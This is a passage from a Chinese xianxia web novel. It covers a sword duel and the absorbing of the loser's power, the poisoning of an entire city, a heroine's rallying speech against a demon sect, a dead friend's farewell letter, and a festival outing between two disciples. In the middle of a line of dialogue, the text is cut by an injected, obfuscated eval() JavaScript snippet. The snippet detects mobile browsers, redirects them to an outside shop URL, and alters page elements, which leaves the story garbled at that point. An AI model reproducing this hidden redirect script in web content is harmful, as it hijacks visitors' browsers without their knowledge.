温欢颜拔出长剑,道:“水水,你可知道,极寒之地的留影石会失效?”她轻笑一声,飞身刺去。温滔未动,被长剑刺穿胸口,她苦笑一声,拿出徐听晚所赠符咒,掷于地下,一道阵法将温欢颜困住。温欢颜被弹开,灵剑脱手,插在温滔胸口。她面无表情,向雪山边界走去。 徐听晚矗立于边界之上,目睹温滔身携灵剑步出,她嘴角勾起一抹轻笑,继而向里行去。温滔并未阻拦,只是面色阴沉,疲惫地抬眼望向远方,血珠点点,洒落一地。徐听晚循着地上的血迹,一路前行。 见徐听晚到来,温欢颜冷笑一声,言道:“你之卑劣,超乎我之想象。” 徐听晚手持判决剑,微微歪头:“我方才见温家主离去,她此刻的眼神,与昔日之我一模一样。” 她泰然步入阵法之中,温欢颜则步步后退,紧握双拳,嘴角勾起一抹嘲讽的笑意:“你与你父亲,真是如出一辙。” 徐听晚陷入沉思,未予回应,只是紧咬牙关。忽而,一道剑气挥破温欢颜的护体灵力,她顺势一脚踢开温欢颜阻挡的手,判决剑瞬间刺入其心口。 鲜血沿着判决剑缓缓滴落雪地,渐渐渗透其中,犹如腐蚀的毒药。 徐听晚抽剑而回,温欢颜缓缓倒地。她即便逝去,亦难掩其美貌,黑发混杂着血液,大片散落地面,黑紫色的轻纱如同夜空星辰,点缀在苍白的雪地之上。她双眼紧盯着徐听晚,嘴角溢出的血液染红了唇瓣,显得鬼魅而艳丽。 徐听晚当即打坐吸收灵力,虽然过程痛苦,但她尚能忍受。她并未完全吸收,因为这种方式太过冒险。她轻轻转动手中剑,剑上的血迹随之震落。 温欢颜的灵力被徐听晚吸收大半,助她直接晋升至化神中期,此乃温滔与她的赌约之奖。 温欢颜未曾料到,这位小侄女竟会直接对她出手,故而放松了警惕。 剑修若失剑,又何谈抵抗? 徐听晚轻笑一声,随即收敛笑容,回想起温欢颜那句“你与你父亲,真是如出一辙。”,不禁皱眉,难道她与徐君彦之间亦有交易? 徐听晚再次回想起那句话的表面意思,不禁烦躁地攥紧了拳头。又是父亲,总是他,我们到底哪里相似了?究竟哪一点像了?我绝不会成为他那样滥杀无辜的人,我比他更为强大,我定要凭借正道,攀登至他此生都无法企及的高峰! 然而,她并未察觉,自己的手心已被攥得生疼,甚至破了皮。她痛苦地捂住脑袋,起身向外走去。 一路上,她无视了所有人的存在,快步向客院赶去。但当她路过雪莲亭时,脚步却不由自主地停了下来,因为她听到了一阵悠扬的琴声。 这琴声让她的神经瞬间放松了下来,她缓缓步入那栽种着雪莲的庭院之中。 此时,江月平正坐在屏风后面,他已恢复了男儿装扮,一身男装,脸上戴着面具。由于世道纷乱,他不得不还得隐藏自己的女子身份。 他注意到了徐听晚身上那磅礴的雷灵力,心中不禁疑惑:大师姐为何会突然闯入此地? 由于那丹药带来的痛苦日益加剧,他忍不住想要拖延一会儿。 他原本打算在这里多练一会儿琴,以放松心情,然后再去后面的杂物房服下那枚能让他变成女子的丹药。 “月平,我虽不通音律,却能识你琴音,知晓是你。”徐听晚带着一丝疲倦走近,随即跃上凉亭围栏坐下。 江月平竭力让自己的声音听起来平稳,只轻轻应了一声。方才他心中惊恐万分,幸好有屏风遮挡。 徐听晚闭目沉浸在这难得的宁静之中。此处是温家最为偏远且简陋的庭院,因位置偏远,少有人至,显得格外清幽。她轻声提议:“月平,为我弹奏一曲吧。” 话音未落,江月平的琴声已悠然响起。徐听晚在琴声的抚慰下逐渐放松,最终倚着凉亭柱子沉沉睡去,发丝垂落在颈间,一缕浅黄丝带随风飘落,轻轻搭在池塘中盛开的雪莲之上。虽是炎炎夏日,但此处因邻近雪山,凉爽宜人。 江月平见她呼吸渐趋平稳,一曲终了,缓缓走出凉亭。望着徐听晚恬静的睡颜,心中满是怜爱。这些年,他们都太累了。 江月平坐在大师姐的身旁,缓缓摘下了面具,感受着与她相呼应的微风。他一向穿着朴素,衣物并无男女之分,仅是一袭白青色的衣裳。为此,大师姐曾屡次劝说他,还为他购置了诸多衣物。他忍不住苦笑了一声,最终还是柳清云出面,解释说这是他一贯的风格,大师姐这才作罢,不再强求改变他的装扮。 江月平这次出门舍弃了往日的银冠和银簪,只是简单地束了一根青色发带。背后的发带随风飘扬,不经意间与徐听晚的浅黄色丝带缠绕在了一起。然而,他并未留意到这一点,只是全神贯注地凝视着徐听晚。他就这样静静地注视着她,心中暗自想着,如果时间能够静止,那么这一刻便是幸福的。尽管她此刻依然不属于他,但这一刻,只有他们两人,彼此相依。 他们就这样静静地坐到了傍晚时分,江月平估摸着大师姐快要醒来了,便急忙起身,却未曾注意到身后的发带已经紧紧缠绕在一起。他一扯之下,发带变得松散,连带着徐听晚的手臂也轻轻晃动了一下。他不敢再有任何动作,连忙扯开了自己的发带,头发散乱,匆匆进入杂物房服下了丹药。 徐听晚缓缓睁开眼睛,夜幕已悄然降临。她意识到自己比预料的睡得要久许多,而江月平的琴声依旧悠扬,让她产生了一种仿佛只小憩片刻的错觉。 她起身之际,忽然感觉手臂衣袖的丝带似乎拖拽着什么东西。轻轻拉起丝带,她发现自己的丝带竟与一根青色的发带紧紧缠绕在一起。那青色的发带显然沾了不少水,重量远超她的丝带,让她在拉扯时不得不小心翼翼。生怕扯坏了自己的丝带,徐听晚拿起发带,走到屏风后面,一边小心翼翼地解着这两物的纠缠,一边微微皱眉,轻声询问道:“月平,这是你的发带吗?” 抬头望去,她发现江月平正散乱着头发,目光专注地看着她,轻轻点了点头。 平日里,江月平也常穿着宽大的衣服,但今日却显得格外明显。她来不及换衣、扎发,光是缓解疼痛就耗费了许久。尽管额头上还挂着冷汗,但她依然希望大师姐醒来时能听到她的琴声。如果大师姐能轻松识出她的琴声,那么便一辈子都不要忘了。 徐听晚缓缓解下发带,细致地将其烘干后,走到江月平身后,为她重新梳理长发。这是她首次见到绑着发带的小师妹。 此刻的江月平,清冷的眼眸中增添了几分柔和,眉宇间则多了一份英姿飒爽。以往因有银簪与银冠的点缀,未曾显露出她的男相,只觉她冰冷而疏离。 江月平一身素雅的青衣,未加任何装饰,却有几分竹中君子的风范。 徐听晚轻声询问:“早上你去了何处?”她一早出门时,便发现江月平的屋内空无一人。 江月平微微垂眸,如实回答:“我接了个任务,想看看有没有什么机缘。” 徐听晚闻言,不禁蹙眉叮嘱:“万事小心,如今徐君彦在外,魔教又虎视眈眈,切勿再独自行动。” 江月平郑重地点了点头:“下次我会注意的。” 徐听晚轻弹了一下她的额头,略带责备地说:“没有下次了。” 江月平乖巧地点头,随后拿出一个小瓶子:“大师姐,尝尝这个甜水。” 徐听晚挑眉接过,轻抿一口,只觉甘甜而不腻,还伴着一股清新的香气。她猛地醒悟:“这是……雪莲水?” 雪莲水极难获取,是静气养神的珍贵药材。因其榨取困难,往往上千朵雪莲也难以得到一滴有用的汁水。小师妹竟将雪莲水当作甜水给她喝? 江月平再次点头:“这是我完成除妖兽任务后,那位发布任务的男老板赠予我的。不知这雪莲水对大师姐的头痛之症是否有帮助,若是没用,当作甜水品尝也是极好的,听说味道很不错。” 徐听晚无奈地笑了笑,将自己喝了一半的雪莲水递到她嘴边,说道:“你尝尝,不就清楚了吗?”刚好是她喝过的那一侧对着她,起初她并未留意到这个细节,待反应过来后,耳尖不禁染上了一抹绯红,连忙轻轻转动瓶身,换了个方向。 江月平并未伸手去接,而是仰起头,顺着徐听晚的手势浅尝了一口。 接着,她伸手接过瓶子,微微转动,对准了刚才大师姐喝过的位置,将最后一口一饮而尽。 喝完后,江月平轻声细语地对徐听晚问道:“大师姐,我们何时重返宗门。” 两人一同往客院走。 徐听晚温柔地回应道:“明日吧,毕竟西南城的啸海兽宗秘境对决即将来临,这段时间我们还是减少外出为好。” 江月平闻言,微微颔首。 其实,徐听晚早已察觉到了江月平的小动作,但两人都默契地选择了沉默。因为,在这种微妙的情况下,很难判断自己的行为是否显得自作多情,而做出那些小动作的人,也可能并不清楚自己是否有些冒昧。于是,她们都默契地装作一无所知,一切如常。 在返回五行道宗的路途中,徐听晚察觉到修仙界外出之人日渐稀少,这世间局势真可谓是纷扰复杂,何时能迎来终结,至今仍是个未解之谜。 温滔将一枚玉牌给了徐听晚,仅仅一日之间,徐听晚已难以窥见往昔温家主的那份傲气,如今的她变得沉稳内敛了许多,只是眉宇之间,却多 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柳清云打开院门,回头道:“大家都在这里呢。他们说,只要大师姐去,他们就都去。那我们一起出发吧!” 看着他一脸急切的样子,众人无奈地笑了。在这五人之中,年纪最小的是温乐天,修炼最迟的是江月平,而柳清云此刻的表现,反倒像是五人中最孩子气的一个。 五人共乘云舟,一同启程,前往梅家城。 抵达之后,只见梅家城内街道依旧繁华喧嚣,人声鼎沸。然而,当他们途径兰家时,徐听晚远远眺望,却惊见兰家城呈现出一片死寂沉沉之态。 在云舟行进途中,众人曾与御剑而行的孟鹤与初千墨二人不期而遇,他们似乎正匆匆赶往兰家城的方向。不久之后,司空瑾、梅问君以及王若拂也相继与他们擦肩而过,同样目的地直指兰家城。 那边究竟发生了何事,无人知晓,但徐听晚心中并无掺和之意。 五人抵达梅家,还是住着从前住的客院。 这半个月以来,徐听晚始终盯着书卷,心中却满是疑惑。五位亲传弟子前去执行任务,为何至今未有丝毫音讯传来? 又过了半个月,终于等来了消息。兰家城竟被魔教所毁,而参与此次任务的五位亲传掌门,修为竟全部晋升至化神初期,更令人震惊的是,谢掌门更是突破化神,迈入了炼虚初期的大门。 徐听晚看到此消息,情绪复杂。她不明白魔教为何要对兰家下手,更不明白沧澜符宗与玄天剑宗为何能在此次事件中达成共识,整整一个月的时间,外界竟未得到丝毫风声。 她拿起书卷,略一思索,便点开了孟鹤的聊天框,问道:“孟道友,究竟发生了何事?” 对方的回复迅速而至:“我就知道你会来问。” 她眉头微蹙,道:“别废话。” 孟鹤回复道:“事情是这样的,南城有个贩卖丹药的商户,她夫君去了兰家城买货后便失去了音讯,她前去寻找,兰家城却拒不开门。她一气之下发布了高赏金任务,有修士接下了任务,却都有去无回。我们得知消息后前去查看,因为涉及我们玄天剑宗和沧澜符宗的弟子,所以我们便碰了头。我们去到兰家主城时,发现所有人,包括修士,都已被毒死。为了保留证据,我们通知了谢掌门,用阵法封锁了此城。后来我们进入兰家府邸,里面修士死后飘散的灵力让我们修为得到了提升。我们还找到了躲在地下、濒临死亡的兰家主。” 徐听晚回复道:“好的,谢谢告知。”随后,她便陷入了沉思。 孟鹤道:“小事。” 徐听晚轻轻合上书卷,“毒死”二字在她的脑海中久久盘旋,挥之不去。毒?她陷入了沉思。 恰在此时,外面传来消息,说梅问君已返回梅家。徐听晚闻言,立刻起身走出房间,只见其他四人皆已聚在院落之中,就连梅遇卿也站在门口。众人相视无言,却都心知肚明,他们在思考着同一件令人心悸的事情。 兰家灭城之事,已然轰动整个修真界。灭城,何其惨烈,意味着至少有几百万无辜生命陨落,就连外圈的村子也未能幸免,其行径之恶劣,令人发指。 一时间,恐慌的情绪在众人之间蔓延开来。如今,所有人的目光都聚焦在世家优秀子弟、宗门亲传弟子,以及各家主和各掌门身上,期待着他们能带来一丝转机。 梅问君凝视着梅遇卿,欲言又止,心中纠结着该如何启齿,提及他们曾经最紧密的三人好友团。 兰望溪在生命垂危之际,紧紧拽着他的衣襟,恳求他不要向遇卿透露自己对她的深情,这样他至少还能以朋友的身份,被她无拘无束地怀念。 他眼眶泛红,望着自己的妹妹,声音哽咽:“兰望溪……走了。” 梅遇卿闻言,愣在原地,机械地点了点头,随即眼眶也湿润了。见状,柳清云急忙冲上前,紧紧抱住她,用身体遮住她满是泪痕的脸庞。 他们三人自幼相伴成长,尽管外界曾试图让他们彼此疏远,但他们却偷偷交换书卷,共谋前往彼此地盘的探险之旅。他们笑着比拼谁家最好,共同反思各家学说,一同采药,争看谁采得最多。 徐听晚目睹梅问君的悲痛,深知此刻不宜追问细节,只能无奈地站在一旁,轻轻叹息。 这世道太混乱了,这些突如其来的灾难根本无法预料。 徐听晚未曾料到,戴着面纱的温苏、谢止寒以及其他四位亲传弟子竟也一同前来,他们的目光纷纷聚焦在了她的身上。 温苏迈步至她跟前,直言不讳:“如今众人皆陷入恐慌之中,我们必须采取行动。” 徐听晚凝视着温苏的双眸,心中暗自思量:采取行动……她当然清楚当前局势紧迫,需有所为,但这个人,竟然是她吗? 59.危难时刻的明灯 在那个她与梅遇卿曾共同审判他人的高台之上,所有亲传弟子整齐地站立在徐听晚的两侧。 这一刻,徐听晚成为了众人瞩目的焦点。温苏细心地整理好留影石,其投影遍布整个天河大陆,书卷之上,人们皆可目睹这场盛大的直播,而这也将成为天河大陆世代相传的珍贵录像。 徐听晚的背后,江月平静静地站着,凝视着她的背影。尽管她或许被她完全遮挡,但对这些荣耀,她并不在意。她唯一的心愿,便是天下太平,身边的朋友安然无恙,大师姐一切都好。守护这一切,便是她心中唯一的信念。 徐听晚注意到温苏轻轻地点了点头,而谢止寒与梅遇卿则端坐在下方,两人目光笔直地投射在她身上。她嘴角微微上扬,那个曾经恶毒的女配已经摇身一变,成为了众人的大救星。 她的声音沉稳而有力,眼神中透露出无比的坚定:“能与诸位并肩作战,共同对抗魔教,是我莫大的荣幸。灭除魔教,是我们义不容辞的责任。”言罢,她拔出了腰间的判决剑,向前迈出一步,眉头紧锁,语气严厉地继续说道:“大家已经有多久没有踏出家门,享受过真正的自由了?为什么我们要生活在恐惧之中?” 此刻,她的眼神变得深邃而阴沉,宛如一潭深不见底的黑水,又似一轮被乌云遮蔽的暗日。她那浅色的眸子中闪烁着诡异的暗金棕色光芒,阳光恰好洒落在她的发梢。她手中的剑与她仿佛产生了某种割裂,就像是光明与邪恶共舞。她的声音宛如惊雷,激起了人们内心深处的愤怒与不甘,这一刻,她仿佛成为了为众人发声的勇士。 “魔教丧心病狂,杀人如麻,我们必须不择手段地与他们抗争到底。我们终将取得胜利,因为魔气本身就是一种错误的存在,它会侵蚀一切,就连那些修炼魔功的人也无法幸免。魔教会随着时间自行灭亡,天命站在我们这边,我们又有何惧!” 她的声音中夹杂着一丝癫狂与万分激昂,台下的三人根本未曾料到她会以这样的方式表达,原本以为她会以平淡的口吻安慰众人,随后缓缓描述灾难,号召大家团结一心,却没想到她竟采取了如此出人意料的方式。 徐听晚平复了一下情绪,眼神变得凌厉无比,一字一顿地说道:“天河大陆属于正道,属于千千万万的普通人,它绝不属于魔教,魔教所做的一切不过是痴心妄想罢了。” 她眉宇间流露出的狂傲与阴狠,无论如何也遮掩不住。 而那些在远方翻阅书卷的人们,温家的家主温滔嘴角微微一勾,竟也被感染,露出了几分与徐听晚相似的神情。 闻堰与泽明器宗的掌门沈怀溪并肩而坐,一同注视着书卷上的徐听晚。闻堰激动万分,而沈怀溪则微微扬起眉毛,嘴角勾起一抹淡淡的微笑。 林流华凝视着书卷上的徐听晚,或许她真的与她的父母不同。剧烈的疼痛不断撕扯着她的身体,她为林家城培养的新家主正在逐步成长,但她清醒的时间却越来越少,她已经陷入了一种疯狂的状态。 徐君彦独自站在一处院落中,低头看着书卷,心中情绪复杂。那些早已有些模糊的记忆再次浮现在眼前,即便他再渴望变得强大,也绝不会成为魔修,更不会与魔教为伍。 身为亲传弟子的第一节课,便是讲述魔教的历史,了解他们犯下的种种恶行,明白他们有多么不可信,知晓修炼魔气只会带来无尽的坏处。 温苏轻轻关闭了留影石,目光专注地凝视着徐听晚,而她身后那些亲传弟子们也纷纷投来注视的目光。感受到这些炽热的视线,徐听晚已略感习惯,她神态坦然地走下擂台,从容地收回手中的判决剑,随后迈步走向观众席,优雅地坐下,与梅遇卿并肩而坐。 她缓缓抬头,望向台上那些亲传弟子们,心中暗自思量:台上之人,不是小说中的男女主角,便是男二女二,几乎囊括了整部小说的关键角色。这也正是她之前所言,天命在她们的原因。 然而,能让这些原著里高高在上的角色心平气和地齐聚一堂,这本身就是一种难得的奇迹。 至于那本原著小说,对于徐听晚而言,绝不会成为她可以依赖的根基。因为她心中早已立下决心,要打破这些既定的命运。如此看来,那本原著小说,在她眼中,不过是一堆废纸罢了! 徐听晚毫不顾忌谢止寒的在场,径直发话引导:“秘境对决即将拉开帷幕,大家务必全力以赴,让我们来一场酣畅淋漓的比拼。” 初千墨率先响应:“那是必须的!”言罢,她咧嘴一笑,众人也随之点头微笑。温苏望着徐听晚,心中不禁有些恍惚,忆起自己当初为何会对徐君彦心生喜欢。与其说是喜欢,不如说是一种对榜样的仰慕。这份情感并非仅仅源于外表的吸引,更多的是对少年那份意气风发、年少轻狂的肆意不羁的欣赏。 其实,众人早已褪去青涩,那份曾经的意气风发也因历经世事而逐渐消磨。但此刻听了徐听晚的话,大家不禁回想起当年初涉修炼时的那份激动与豪情。 众人一同住进了梅家,因为距离秘境对决仅剩两个月的时间。 徐听晚近日颇为烦恼,不知为何初千墨和王若拂突然变得亲密无间,一个站在她的右侧,一个站在她的左侧,纷纷告诉她现在在修真界她有着众多的仰慕者。 他们不停地告诉她,她的画像在天河大陆广为流传。她看了一眼,画像中的她确实英姿飒爽。 她甚至有了自己的信徒,街道上到处张贴着她的画像以及她的名言,群众变得狂热而激动,遇到可疑情况都会立刻向宗门和世家报告。一时间,人人都是正道的守护者,不再是过去宗门和世家单方面保护普通人,而是每个人都怀揣着激昂的心,有着支撑起一片天地的豪情壮志。 徐听晚练剑时,两人要在旁边观看;看书时,两人又要在旁边打盹。就连司空瑾也时常来找她,与她探讨阵法的运行和操作细节。 她的时间被安排得满满当当,她甚至能感受到小师妹那哀怨的眼神。温乐天找到了下棋的好对手——孟鹤,他未曾料到孟鹤的棋艺竟如此高超,只是如果没有谢掌门在一旁围观就好了。石观明和梅问君则在试炼场上互相切磋,一个御兽修士,一个剑修,一个练习近战躲避,一个练习远距离抗压。 梅遇卿与柳清云二人,一边潜心研读古老的丹书典籍,一边致力于研制能够对抗并消除魔气的丹药。 如今,天下一心,共谋安宁。 秋季的晚风带着丝丝凉意,徐听晚难得觅得一段闲暇时光,她悄悄躲进了梅家藏书阁的最顶层。坐在靠窗的位置,她可以清晰地望见梅家城那繁星般的灯火。她静静地凝视着窗外,手中的书页在微风的吹拂下轻轻翻动。 “大师姐,温前辈让我把这个交给你。”江月平的声音打断了她的思绪,她从楼梯口探出头走上前递过来一封信。信封上那只熟悉的小熊图案让徐听晚不禁皱紧了眉头。 这种折叠信件的方式显然不属于这个世界。她小心翼翼地拆开信封,只见它保持着未拆封时的完好模样。 一个熟悉的名字跃然纸上。 亲爱的晚晚: 有没有想我呀!我是西秀珍~ 嘿嘿,当你读到这封信时,我可能已经不在人世了。或许你已将我遗忘,但我却一直担心你会来找我报仇,毕竟是我害得你灵魂分裂。 小时候在宗门,我拉着你游玩,却不料遭遇了魔教教主的招魂仪式。我们的魂魄在强大的压力下被分割,各自去往了另一个世界。 遗憾的是,你似乎并没有那段记忆,但我很庆幸我还记得。我曾亲眼目睹,魔教教主要复活一个名叫安澈的人,似乎那是他的兄长。我所知道的就这些了,很抱歉我一直没有勇气去找你,只能躲在宗门里偷偷关注着你。 再见了,我最好的朋友。加油!加油!再加油! 顾秀珍绝笔。 徐听晚瞬间呆愣在原地,那些尘封已久的记忆如潮水般涌来。她清晰地记得,自己曾亲眼目睹过魔教教主的面容,那时的魔教教主是个满脸疲倦的少年。 一滴晶莹的泪珠悄然滑落她的脸颊,秀珍已经离去……那些青涩的回忆瞬间涌上心头,让她难以自持。 泪水如断线的珠子般不断落下,重重地砸在手中的信纸上。江月平见状,紧皱眉头,伸手欲拭去她脸上的泪水,却发现泪水仿佛无穷无尽,怎么也擦不完。 徐听晚在心中怒吼:顾秀珍,你真是个傻子!为何我会以为你会怨恨我,为何你竟不愿再见我一面! 她痛苦地捂住脑袋,只觉识海仿佛被一股强大的力量撕扯。她眉眼阴沉地盯着桌面,信纸早已被泪水浸湿。这时,江月平猛地抱住她的脖颈,轻声安慰道:“大师姐,我会一直陪着你的。” “骗子!”徐听晚怒吼一声,用力将他推开。江月平红着眼眶,蹙眉看着她。徐听晚自己也觉得不可思议,看了看自己的手,随后拿起桌上的书信,夺门而出。 徐听晚刚一出门,便与石观明不期而遇。他站在那里,目光落在她通红的双眼上,不禁蹙起眉头,关切地问道:“你这是怎么了?” 徐听晚没有理会他,只是竭力平复着自己的情绪,强装镇定,面无表情地回到了自己的房间。她轻轻关上窗户,又将屋内的灯烛一一盖上,顿时,房间陷入了一片漆黑之中。然而,身为修士的她,即便是在这样的黑暗中,也能依稀辨认出屋内的物体。 她缓缓走到床边坐下,紧闭着双眼,脑海中却死死地印刻着那个曾经见过的面孔——魔教教主,一个疯狂到相信招魂仪式能够复活死人的家伙。 徐听晚在床边枯坐了一整夜,陷入了深深的思索。她不明白,为何当前的局势会对魔教如此有利,尽管魔教表面上并未有太多动作。 然而,宗门世家却纷纷衰败,这一切似乎都在为魔教铺路。徐听晚恍然大悟,没错,这一切都在朝着对魔教有利的方向发展。 一股被当作棋子的恐惧再次袭上心头,这种感觉她已屡见不鲜。她感觉众人皆处于棋盘之上,而棋盘之上并无对手,只有一人在幕后操控着一切。 清晨,阳光透过窗户洒落进来。徐听晚睁开那双布满血丝的双眼,这一刻,这棋局已不再是那幕后之人独自掌控。她心中已有了些许猜测。 随即,她向林流华、姜满和徐君彦发送了消息:“小心魔教。” 无论自己的猜测是否正确,她都决定谨慎行事。 她推测这些年所发生的一切极有可能都是魔教在背后操纵,如果真的如此,那麻烦可就大了,魔教或许比她预想的还要更加可怕。 她垂下眼眸,深吸一口气,无论如何,现在她们都只能试探敌人的虚实,一切还得依靠自身的提升,毕竟实力才是决定一切的关键。 徐听晚轻轻将手中的信折好,放入储物袋中。她整理了一下着装,面色平静地打开门,却发现江月平正站在她的门口,似乎已等候多时。 温乐天坐在院子中间,与石观明并肩而坐,他望向徐听晚,轻声喊道:“大师姐,虽然不知道你和小师妹之间有何误会,但小师妹已经在外面站了一夜,你还是好好和她谈谈吧。” 闻言,徐听晚不由一愣,随即抓住江月平的胳膊问道:“你怎么站在外面?” 江月平苦笑一声,道:“大师姐,我并没有刻意隐藏灵力,你怎会不知我在外面?大师姐,现在能和我聊聊吗?”她的表情满是委屈,而徐听晚确实不知她在外,她一直沉浸在那些思绪中,完全没有留意这边的情况。 徐听晚挽着江月平步入房间,此时,门外响起了初千墨与王若拂那活泼的声音。 “徐姐姐!我们来找你啦!”伴随着这两道悦耳动听的声音,还有轻轻的敲门声。徐听晚对着门外回应:“今天我有点忙,你们自己去玩。” 两人听后,神情顿时萎靡下来,转身望向一旁端坐的石观明与温乐天。两人眨了眨眼,示意她们快走。初千墨与王若拂心领神会,对着里面说道:“那我们下次再来找徐姐姐玩。”说完,她们快步离开,还顺手拿走了放在温乐天面前的几块糕点。 温乐天皱了皱眉,道:“唉,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345675|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两个!” “我们只拿了一点点啦。”初千墨与王若拂笑着回应,随即离去。 石观明拍了拍温乐天的肩膀,笑道:“算了,反正你父亲还会给你买的,你不是都吃腻了吗?家人就是这样,总以为你喜欢,就会不停地给你买。” 温乐天叹了口气:“我母亲以前可不是这样,她只会给我灵石,让我自己去买。” 石观明耐心解释道:“或许对你母亲而言,灵石就是最好的东西,所以才一直给你。家人嘛,都这样。” 温乐天看向石观明:“二师兄的家人也是这样吗?”话一出口,他突然意识到自己说错话了,猛地拍了一下桌子:“我在说什么呢!”他紧皱眉头,母亲叮嘱他的话他又忘了,在熟人面前他总是这样,他在心里默念:一定要谨言慎行,温柔对待朋友。 石观明轻笑一声,看向一旁紧闭的房门:“大师姐和你们,就是我的家人。” 这话一出,温乐天更加内疚了,他的脸皱成一团,猛地站起身,怒吼道:“我真是个混蛋!” 恰好此时,梅问君、孟鹤、柳清云和梅遇卿走了进来。 看到满脸通红的温乐天,再结合他刚才的话,四人都用异样的眼神看着他。 就连一向沉稳的孟鹤也十分不解,虽然表情很微小,但僵硬的五官还是透露出最大限度的疑惑。 六个人围坐成一圈,石观明嘴角微扬,轻声问道:“前来所为何事?” 梅遇卿闻言,亦是轻笑回应:“今日丰收节,晚间咱们一同外出游乐如何?” 温乐天目光转向一旁紧掩的房门,说道:“我与二师兄自是愿意前往,只是还需问问大师姐与小师妹,她们此刻正在屋内。” 梅遇卿闻言点头,随即缓步走向房门,轻声询问:“徐道友,江道友,你二人去不去丰收庆典?” 屋内,徐听晚望向江月平,见她微微颔首,遂对外答道:“我与月平去。” 外面的喧嚣逐渐沉寂,徐听晚凝视着江月平的双眸,诚恳地说道:“小师妹,你别生气,我真的不知道你在外面,真的很抱歉。” 她的语气中充满了真挚,眉头紧锁,显得忧心忡忡。 江月平紧紧握住她的手,声音中带着一丝哀求:“大师姐,只要你愿意听我说话就好,我永远都不会伤害你的,请你一定要相信我。”她的眼神近乎偏执,似乎因为一夜的守候而接近崩溃的边缘。她陷入了深深的困惑之中,感觉无论怎么做都是绝境,她曾想过永远将这个秘密埋藏在心底,但又不甘心就这样放弃。然而,大师姐要如何才能相信她呢?如果知道了那个秘密,恐怕连现在的温情也会荡然无存吧。 她痛苦地挣扎着,双手紧握成拳,手心都被掐出了血痕。徐听晚心疼地皱起眉头,轻轻掰开她的手,温柔地说道:“小师妹,你放松点,我相信你。” 江月平抬起头,眼神中满是疲惫,透出一种凄楚的飘零之美。她的双眼泛红,与平日里那个风光霁月,清冷孤傲的女子截然不同,更像是溺水之人般陷入了疯狂。她紧紧拽着徐听晚的衣袖,眼神近乎绝望,身体微微颤抖。 徐听晚有些不敢与她对视,轻轻搂住她,柔声安慰道:“对不起,小师妹。这次庆典,我会一直陪着你的,你别着急。” 她心中充满了疑惑,不明白小师妹为何会突然变成这样,仿佛失去了理智一般。刚才那近乎疯狂的眼神让她感到一丝恐惧,同时也充满了无奈。 晚上的庆典热闹非凡,他们结伴而行,街道上的民众纷纷认出了他们。初千墨拉着王若拂在街道上欢快地奔跑,一会儿拿起发簪,一会儿又捧起糕点。商户们见状,纷纷婉拒她们的灵石,于是她们便玩起了游戏,比试谁能悄悄将灵石放入商户的口袋而不被发现。 石观明则有些无奈地跟在浅云身后,浅云在空中盘旋,主动靠近人群,让人们抚摸它。它还用头顶起掉落的灯笼,人们惊喜地看着这条白龙,它顽皮地掀起一道水花,溅到在河边玩耍的小孩身上,引得众人开怀大笑。 众人从未见过如此调皮的神兽龙,书中常言龙是高冷淡漠的神兽,没想到竟如此有趣。 石观明在一旁看着,只能无奈一笑。 温乐天跟在父母身后,他厌烦地看着前面两人眉目传情,自己则一手拿着糖葫芦,一手拿着小酥肉。每当母亲招手,他都得递过去,父母倒是开心了,只有他一人闷闷不乐。他在心中暗自嘀咕:“早知道就不来了,还不如自己戴着人皮面具偷偷跟过来。” 孟鹤和梅问君并肩而行,手中拿着许多女子送来的祝福之花。这天,许多女子会采摘鲜花随缘赠送,大多时候,大家都会送给自己心仪之人,但这只是单纯的喜欢,并非一定是男女之情。 “清云,尝尝我这个,很甜。”梅遇卿将手中的糖葫芦递到柳清云嘴边,柳清云仰头咬下一颗,随即喊道:“嘶!卿卿,你骗我,好酸啊!”梅遇卿闻言大笑起来。 徐听晚和江月平走在队伍最后,江月平乖巧地将一杯花茶递到徐听晚面前:“大师姐尝尝这个,闻起来很不错。”此时只有她们两人,江月平眉眼含笑,徐听晚看出她很开心,便接过喝了一口,轻笑一声:“确实不错。” 徐听晚抬头望去,恰好与石观明对视,她轻轻点头,石观明无奈一笑,随即垂下眼眸。灯火阑珊,夜色温柔。 江月平眼神突然变冷,她抓住徐听晚的胳膊,凑到她面前,挡住两人的视线:“大师姐想吃杏仁酥吗?”徐听晚看向她时,眉眼间流露出一丝不易察觉的温柔,但这一瞬间的变化谁也没有注意到,连她自己也没有察觉。她曾以为这段感情可以随时割舍,但真的如此吗? “你想吃?”江月平没有回答,徐听晚轻笑一声:“那买一点吧,我想吃。”江月平浅笑着点头,跑过去买了一些杏仁酥。 徐听晚看着她的背影,心想也许有一天她就不会这么依赖自己了,可能会和孟鹤在一起,或是其他人。她垂下眼眸,眉眼间带着一丝凉意。 这一夜大家玩到很晚。